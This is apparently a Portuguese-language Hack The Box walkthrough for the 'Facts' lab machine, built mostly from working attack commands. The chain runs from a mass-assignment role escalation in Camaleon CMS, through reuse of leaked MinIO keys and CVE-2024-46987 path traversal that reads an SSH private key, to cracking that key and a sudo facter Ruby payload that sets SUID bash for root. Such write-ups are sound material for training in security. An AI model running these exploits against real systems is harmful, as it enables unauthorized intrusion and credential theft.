
HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins.
Dificuldade: Média
SO: Linux
Tags: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Escalação de Privilégios
Comece com uma varredura completa de portas TCP para identificar serviços abertos.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Resultados:
| Porta | Serviço | Observações |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Desconhecido | Identificado como MinIO |
Adicione o alvo ao /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
Navegando para http://facts.htb revela um site de trivia construído em Camaleon CMS (Ruby on Rails). Indicadores-chave:
_factsapp_session (sessão Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Enumere o sitemap para todas as páginas disponíveis:
curl -s http://facts.htb/sitemap.xml
Caminhos notáveis descobertos:
/admin → redireciona para /admin/login/rss/animal-ejected, /anne-frank, etc.Verifique o painel de login admin:
curl -v http://facts.htb/admin
# → redirecionamento 302 para /admin/login
Ao sondar a porta desconhecida com curl revela o MinIO, um serviço de armazenamento de objetos compatível com S3:
curl -v http://facts.htb:54321
Resposta:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Cabeçalhos confirmam: Server: MinIO
Enumere possíveis nomes de buckets (todos retornam 403, confirmando que existem):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Todos retornam 403 Forbidden — os buckets existem, mas exigem credenciais.
A partir dos caminhos de recursos e do cookie de sessão, o CMS é identificado como Camaleon CMS.
Verifique vulnerabilidades conhecidas:
searchsploit camaleon
Resultados:
Camaleon CMS v2.7.0 - Injeção de Template no Lado do Servidor (SSTI) | ruby/webapps/51489.txt
A versão do painel admin é confirmada como 2.9.0 (visível no rodapé após o login).
A página de login admin em http://facts.htb/admin/login inclui um link "Criar uma conta". Registre uma nova conta:
http://facts.htb/admin/users/sign_uptest123 / test123)ClientApós o registro, faça login no painel admin. A conta tem privilégios limitados de Client.
O Camaleon CMS é vulnerável a um ataque de atribuição em massa no endpoint de alteração de senha. Ao interceptar a requisição de alteração de senha e injetar um parâmetro password[role], um atacante pode escalar seu próprio papel para admin.
Passos usando Burp Suite:
Client.Profile → Edit → Change Password.&password[role]=admin ao corpo da requisição:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.A conta agora tem privilégios de admin, concedendo acesso total ao painel admin do CMS, incluindo Settings, Media e Filesystem Settings.
Com acesso admin, navegue para:
Settings → General Site → Filesystem Settings
A página revela credenciais MinIO (compatível com AWS S3) codificadas:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Configure a AWS CLI e enumere buckets:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Buckets descobertos:
2025-09-11 internal
2025-09-11 randomfacts
O bucket internal contém o diretório home do usuário trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Baixe a chave privada SSH
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
Alternativamente, a chave privada SSH pode ser recuperada via CVE-2024-46987, uma vulnerabilidade de path traversal autenticada no Camaleon CMS que permite ler arquivos arbitrários do servidor.
Clone o PoC público:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Leia arquivos sensíveis:
# Passo 1: Leia /etc/passwd para enumerar usuários do sistema
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Saída (linhas relevantes):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Dois usuários são identificados: trivia e william. Como trivia possui um shell de login e um diretório home, verifique a existência de uma chave privada SSH:
# Passo 2: Leia a chave privada SSH de trivia
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Salve a saída da chave em um arquivo:
chmod 600 id_ed25519
A chave privada SSH está criptografada com uma frase secreta. Use ssh2john e john para quebrá-la:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Frase secreta quebrada: dragonballz
ssh -i id_ed25519 [email protected]
# Digite a frase secreta: dragonballz
Recupere a flag do usuário:
cat /home/william/user.txt
Verifique os privilégios sudo para o usuário trivia:
sudo -l
Saída:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
O usuário pode executar /usr/bin/facter como root sem senha. facter é uma ferramenta de informações do sistema baseada em Ruby.
De acordo com GTFOBins, o facter pode carregar arquivos Ruby personalizados via --custom-dir, que são executados como o usuário invocador (root neste caso).
Exploração:
# Crie diretório de exploração e payload Ruby
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# Execute facter como root com o diretório personalizado
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# Verifique se o bit SUID foi definido no bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# Abra um shell root
/bin/bash -p
whoami
# root
cat /root/root.txt
| Flag | Localização |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Varredura Nmap
↓
Porta 80: Camaleon CMS 2.9.0
↓
Registrar Conta Client → Painel Admin
↓
Atribuição em Massa: password[role]=admin → Papel Admin
↓
Configurações Admin → Credenciais MinIO Expostas
↓
CVE-2024-46987: Path Traversal → Ler /home/trivia/.ssh/id_ed25519
↓
ssh2john + John → Frase Secreta: dragonballz
↓
SSH Login como trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | Descrição |
|---|---|
| CVE-2024-46987 | Camaleon CMS path traversal autenticado / leitura arbitrária de arquivos |
| CVE-2023-30145 | Camaleon CMS v2.7.0 SSTI via parâmetro formats (não usado neste box) |